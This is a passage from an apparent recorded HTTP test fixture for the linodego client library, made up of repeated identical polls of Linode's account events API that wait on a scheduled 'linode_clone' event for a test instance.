"/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, 